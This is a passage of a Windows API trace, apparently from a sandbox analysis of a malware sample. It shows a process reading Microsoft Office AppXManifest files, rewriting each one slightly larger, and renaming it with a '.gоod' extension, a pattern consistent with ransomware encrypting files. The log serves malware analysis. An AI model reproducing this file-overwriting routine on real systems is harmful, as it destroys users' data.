"c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4994071d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0129.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0129.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0129.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0129.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0129.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x34bf038 | out: lpFileInformation=0x34bf038*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0129.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0129.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0129.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0129.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0129.793] GetFileType (hFile=0x6e0) returned 0x1 [0129.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0129.793] GetFileType (hFile=0x6e0) returned 0x1 [0129.793] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x5aa [0129.793] ReadFile (in: hFile=0x6e0, lpBuffer=0x34bf9c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x34bf9c0*, lpNumberOfBytesRead=0x1feed338*=0x5aa, lpOverlapped=0x0) returned 1 [0130.383] CloseHandle (hObject=0x6e0) returned 1 [0131.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0131.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0131.083] GetFileType (hFile=0x630) returned 0x1 [0131.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0131.083] GetFileType (hFile=0x630) returned 0x1 [0131.083] WriteFile (in: hFile=0x630, lpBuffer=0x3700688*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x3700688*, lpNumberOfBytesWritten=0x1feed248*=0x5b0, lpOverlapped=0x0) returned 1 [0131.084] CloseHandle (hObject=0x630) returned 1 [0131.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0131.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0131.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4a5785b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0131.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0131.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0131.085] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0131.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x37019f0 | out: lpFileInformation=0x37019f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0131.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0131.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0131.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0131.086] GetFileType (hFile=0x630) returned 0x1 [0131.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0131.086] GetFileType (hFile=0x630) returned 0x1 [0131.086] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0131.086] ReadFile (in: hFile=0x630, lpBuffer=0x37022b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x37022b8*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0131.088] CloseHandle (hObject=0x630) returned 1 [0131.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0131.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0131.117] GetFileType (hFile=0x630) returned 0x1 [0131.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0131.117] GetFileType (hFile=0x630) returned 0x1 [0131.117] WriteFile (in: hFile=0x630, lpBuffer=0x377cb60*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x377cb60*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0131.414] CloseHandle (hObject=0x630) returned 1 [0131.415] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.415] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0131.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0131.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4a8bfae4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0131.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0131.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0131.416] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0131.416] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3738c60 | out: lpFileInformation=0x3738c60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa)) returned 1 [0131.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0131.416] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0131.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0131.416] GetFileType (hFile=0x630) returned 0x1 [0131.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0131.416] GetFileType (hFile=0x630) returned 0x1 [0131.416] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0xeaa [0131.417] ReadFile (in: hFile=0x630, lpBuffer=0x3739ee8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3739ee8*, lpNumberOfBytesRead=0x1feed338*=0xeaa, lpOverlapped=0x0) returned 1 [0131.418] CloseHandle (hObject=0x630) returned 1 [0131.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0131.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0131.446] GetFileType (hFile=0x630) returned 0x1 [0131.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0131.447] GetFileType (hFile=0x630) returned 0x1 [0131.447] WriteFile (in: hFile=0x630, lpBuffer=0x37bd020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x37bd020*, lpNumberOfBytesWritten=0x1feed248*=0xeb0, lpOverlapped=0x0) returned 1 [0131.447] CloseHandle (hObject=0x630) returned 1 [0131.448] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.448] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0131.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0131.448] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4a90c248, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0131.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0131.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0131.449] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0131.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x37be388 | out: lpFileInformation=0x37be388*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0131.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0131.449] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0131.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0131.449] GetFileType (hFile=0x630) returned 0x1 [0131.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0131.449] GetFileType (hFile=0x630) returned 0x1 [0131.449] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0131.449] ReadFile (in: hFile=0x630, lpBuffer=0x37bec50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x37bec50*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0131.868] CloseHandle (hObject=0x630) returned 1 [0131.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0131.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.942] GetFileType (hFile=0x650) returned 0x1 [0131.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0131.942] GetFileType (hFile=0x650) returned 0x1 [0131.943] WriteFile (in: hFile=0x650, lpBuffer=0x362eda8*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x362eda8*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0131.943] CloseHandle (hObject=0x650) returned 1 [0131.943] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.943] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0131.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0131.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4adaa7b0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0131.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0131.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0131.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0131.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3630110 | out: lpFileInformation=0x3630110*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0131.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0131.945] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program 